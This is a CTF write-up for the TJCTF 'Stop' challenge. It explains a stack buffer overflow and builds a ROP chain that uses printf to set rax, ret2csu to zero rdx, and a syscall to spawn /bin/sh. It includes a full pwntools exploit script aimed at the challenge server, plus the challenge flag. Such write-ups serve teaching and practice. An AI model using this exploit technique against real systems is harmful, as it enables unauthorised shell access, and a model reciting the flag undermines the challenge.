# tjctf: binary
## Stop [70]
Written by KyleForkBomb
_I love playing stop, but I am tired of losing. Check out my new stop answer generator!_
_It's a work in progress and only has a few categories, but it's 100% bug-free!_
`nc p1.tjctf.org 8001`
## Inspection
```bash$ ./stop.oWhich letter? _```
As difficulty ramps up, so does source code complexity:
```cint get_letter(){ int c = getchar(); ... }int get_category(char *s){ ... }int main() {  char s1[256]; // [rsp+0h] [rbp-110h]  int category; // [rsp+100h] [rbp-10h]  int s_len;    // [rsp+104h] [rbp-Ch]  int letter;   // [rsp+108h] [rbp-8h]  int i;        // [rsp+10Ch] [rbp-4h]
  printf("Which letter? ", 0LL);  letter = get_letter();  getchar();  if ( letter == -1 ) {    printf("That's not a letter!\n");    return 1;  printf("\n");  for ( i = 0; i <= 4; ++i )    printf("%s\n", categories[i]);  printf("\n");  printf("Category? ");  s_len = read(0LL, s1, 598LL); //BOF here!  s1[s_len - 1] = '\0';  category = get_category(s1);  if ( category == -1 )    printf("\nSorry, we don't have that category yet\n");  else    printf("\nYour answer is: %s\n", answers[category + 5LL * letter]);}```Let's start off simple. There is a buffer overflow (of `0x256` on `s1[256]`) without any stack protector to halt it:![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/checksec.png)
Since the buffer overflow's at `"Category? "`, we ignore `get_letter()` for now<sup>1</sup>. Taking a look at `get_category()`, there's not much to be done there either — it just gives back a small value within the boundaries of `answers[]`. ```cint get_category() {  int i;  for ( i = 0; i <= 4; ++i ) {    if ( !strcasecmp(categories[i], a1) )      return (unsigned int)i;  }  return 0xFFFFFFFFLL;}```What we're left with is an 0x256-256-24 == 326 byte buffer overflow, with little else to do. Where do we go from here?
## Gadget Grabbing
Running `ropper` on the binary, I noticed a curio:![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/curio.png)
The binary has a `syscall` instruction in it, which is naturally indicative of a Return Oriented Programming attack vector. This also brought to attention something I'd failed to notice in IDA: the `read()` function is actually implemented as a syscall wrapper in `Stop`:
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/read.png)
With that in mind, we've a simple strategy to get through to `/bin/sh`:1. overflow to the return pointer2. set a ROP chain to rax=59, rdi="/bin/sh", rsi=rdx=03. `syscall` to execve("/bin/sh")4. Use `read()` to write extra rop-chains if 326 bytes isn't enough<sup>2</sup>
(1) is simple enough. Using `pwn.cyclic()`, we can find the offset to the first return pointer in `gdb`: 
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/cyclic.png)
Doing (2)? Not as simple.
## Black Magic
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/ropper.png)
*404*
We've got access to `rdi` and `rsi`, nominally the first two arguments for x64 functions. Unfortunately, there's no immediate gadget that allows us to set the value of the other two gadgets — `rax` and `rdx` — arbitrarily.
For `rax`, we first considered using `get_letter()` as a gadget, but its `cmp` restrictions (of `96 < char <= 122`) are too large to immediately set rax=59. Although it is possible to reach arbitrary `rax` using a well-placed `[rbp-4]`, this was not immediately apparent at the time.
Instead, knowing that we had access to rdi and rsi, we dug through the binary for a "string" (sequence of non-'\0' bytes) of length 59, using rdi="[length-59 C-string]" and `printf()` to write the length to rax.
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/manpage.png)*That thing no one ever reads*
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/hexview.png)*That (other) thing that people demean as obtuse*
At this point, the stack might look something like this:
```+---s[]---+-------------ROP-chain-----------------+| garbage | pop-rdi | "len59_str" | .plt printf() |+---272---+----------------3*8--------------------+```
Tacking on the rsi/rdi edits needed for the syscall, it'll expand to this:```+---s[]---+-------------ROP-chain-----------------+----------------more-ROP---------------+| garbage | pop-rdi | "len59_str" | .plt printf() | pop-rsi | 0 | 0 | pop-rdi | "/bin/sh" |+---272---+----------------3*8--------------------+------------------5*8------------------+```
We're still left with `rdx`, which _may_ already be zero without attacker intervention, but we can apply ret2csu<sup>3</sup> to turn that into a guarantee.
## Execution
The final ROP chain will look like this:```+---s[]---+----------------csu part 1---------------+--------------csu part 2------------->| garbage | gadget1 | 0 | 1 | &_DYNAMIC | 0 | 0 | 0 | gadget2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 > +---272---+--------------------56-------------------+------------------64-----------------><---------------rax=59------------------+---------------rdi=rsi=0---------------+-/bin/sh-+< pop-rdi | "len59_str" | .plt printf() | pop-rsi | 0 | 0 | pop-rdi | "/bin/sh" | syscall |<----------------3*8--------------------+------------------5*8------------------+----8----+```
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Stop/interactive.png)
Works on first try.
## flag
`tjctf{st0p_th4t_r1ght_now}`
## code```pythonfrom pwn import *#lots of constantsr_offset = cyclic_find("uaac") #find this empiricallyE = ELF('./stop.o')binsh = 0x400A1A        #location of the "/bin/sh" stringlen59 = 0x4006F0+5-59   #an eyeballed address containing a 59-byte long C-stringprintf = E.symbols['printf']#find these gadgets from ropper, or otherwisepop_rdi = 0x400953pop_six = 0x40094Apop_rsi_r15 = 0x400951mov_rdx_call = 0x400930dynamic_init = 0x601de0 #x/5g &_DYNAMICread_syscall = E.symbols['read']    #the read() function#helper functions to create ROPchains that write to certain registersret2csu = lambda rdx: [pop_six, 0, 1, dynamic_init, 0, 0, rdx]+[mov_rdx_call]+[0]*7rdi_rsi = lambda rdi, rsi: [pop_rdi, rdi, pop_rsi_r15, rsi, 0]#rop chain starts hererop = ret2csu(0)                #rdx = 0rop+= [pop_rdi, len59, printf]  #rdi = "<length-59 str>"; printf(rdi)rop+= rdi_rsi(binsh, 0)         #rdi = "/bin/sh", rsi = 0rop+= [read_syscall+5]          #syscallrop = ''.join(map(p64,rop))r = remote('p1.tjctf.org', 8001)r.sendlineafter('? ', 'a')assert len(rop)+r_offset < 598  #input requirementr.sendlineafter('? ', 'a'*r_offset + rop)r.interactive()```## footnotes1. `get_letter()` could be used as a way to edit rax, but `printf()` felt simpler.2. This _was_ a problem, but the solution shown here doesn't deal with this.3. https://www.rootnetsec.com/ropemporium-ret2csu/